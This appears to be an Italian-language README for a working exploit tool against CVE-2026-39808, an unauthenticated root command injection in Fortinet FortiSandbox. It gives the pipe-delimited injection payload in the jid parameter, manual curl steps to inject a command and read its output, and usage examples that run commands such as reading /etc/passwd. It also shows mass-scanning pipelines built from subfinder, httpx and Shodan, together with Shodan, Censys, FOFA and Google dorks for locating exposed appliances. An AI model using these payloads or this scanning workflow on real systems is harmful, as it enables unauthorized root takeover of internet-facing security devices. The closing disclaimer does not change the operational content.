
Scanner RCE non autenticato per FortiSandbox CVE-2026-39808 con verifica basata su canary, esecuzione di comandi e integrazione pipeline per scansioni di massa.
Iniezione di comandi OS non autenticata come root in Fortinet FortiSandbox
Vulnerabilità • Installazione • Utilizzo • Come Funziona • Pipeline • Shodan Dorks • Disclaimer
CVE-2026-39808 è una vulnerabilità critica di iniezione di comandi OS non autenticata in Fortinet FortiSandbox. L'endpoint API /fortisandbox/job-detail/tracer-behavior non riesce a sanificare il parametro jid, consentendo a un attaccante di iniettare comandi OS arbitrari che vengono eseguiti come root — senza alcuna autenticazione.
Il parametro jid nell'endpoint tracer-behavior viene passato direttamente a un comando di sistema senza sanificazione. Utilizzando caratteri pipe (|), un attaccante può uscire dal contesto del comando previsto ed eseguire comandi arbitrari:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
L'output viene scritto in /web/ng/out.txt, accessibile su /ng/out.txt nel server web — fornendo un comodo meccanismo di lettura per l'iniezione di comandi cieca.
Zero dipendenze. Solo libreria standard Python 3.7+.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Verifica se un target è vulnerabile (usa rilevamento basato su canary)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Esegui un comando specifico sul target
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Controlla solo se è vulnerabile, non eseguire --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# Da una lista di URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL URL del target
--stdin Leggi URL da stdin (modalità pipeline)
--cmd CMD Comando OS da eseguire (default: id)
--verify-only Verifica solo la vulnerabilità, non eseguire --cmd
--proxy PROXY Proxy HTTP (es. http://127.0.0.1:8080)
--timeout TIMEOUT Timeout HTTP in secondi (default: 15)
--rate-limit RATE_LIMIT Ritardo tra i target in ms (default: 0)
-o, --output FILE File di report JSON di output
--no-banner Sopprimi il banner
Lo scanner utilizza un processo di verifica in 5 fasi con una rigorosa prevenzione dei falsi positivi:
Fase 1 → Rileva FortiSandbox (fingerprint titolo/header)
Fase 2 → Controlla se l'endpoint vulnerabile esiste
Fase 3 → Inietta stringa canary univoca tramite iniezione di comandi
Fase 4 → Leggi /ng/out.txt e verifica il canary (validazione rigorosa testo semplice)
Fase 5 → Esegui comando utente + pulizia
Lo scanner implementa più livelli di validazione per eliminare i falsi positivi:
text/htmlid — Corrispondenza rigorosa del pattern uid=\d+(\w+) con controllo di dimensione (<1000 byte)/ng per prevenire problemi di doppio percorso ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Iniezione di Comandi Non Autenticata (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox rilevato!
▸ Controllo endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Stato endpoint: 200 | Content-Type: text/html
▸ Iniezione canary: mitsec_a8k3m2x1
▸ Lettura output: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABILE — CVE-2026-39808 CONFERMATO!
CRITICAL Target: https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' verificato nell'output (testo semplice pulito)
──────────────────────────────────────────────────────────
Output Comando: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ File di output ripulito
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox rilevato!
▸ Controllo endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint ha restituito 404 — non vulnerabile o patchato
▸ Lettura output: https://target.com/ng/out.txt
⚠ L'URL di output restituisce una pagina HTML — questa è la Angular SPA, NON l'output del comando
▸ Content-Type: text/html
▸ Questo è un falso positivo — /ng/out.txt serve l'index.html della SPA
▸ Il target non sembra vulnerabile
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
Lo scanner invia gli URL vulnerabili su stdout (tutto l'altro output va su stderr), rendendolo completamente compatibile con le pipeline:
# Trova target vulnerabili e salvali
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# Combina con nuclei per ulteriori test
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# Scansione di massa silenziosa con rate limiting
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Google Dork:
intitle:"FortiSandbox - Please login"
Se preferisci verificare manualmente usando curl:
# Fase 1: Inietta il comando
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# Fase 2: Leggi l'output
curl -s -k "https://TARGET/ng/out.txt"
# Atteso: uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/jid contenenti caratteri pipe| Data | Evento |
|---|---|
| Novembre 2025 | Vulnerabilità scoperta |
| Aprile 2026 | CVE-2026-39808 pubblicato |
| Aprile 2026 | Patchato in FortiSandbox 4.4.9 |
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottieni sempre la dovuta autorizzazione scritta prima di effettuare test. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.
mitsec — @ynsmroztas
Se questo strumento ti è stato utile, considera di dargli una ⭐
| Dettaglio | Valore |
|---|
| ID CVE | CVE-2026-39808 |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore di Attacco | Rete |
| Autenticazione | Nessuna |
| Privilegi | Root |
| Versioni Affette | FortiSandbox < 4.4.9 |
| Corretto In | 4.4.9 e successive |
| Advisory | FG-IR-25-325 |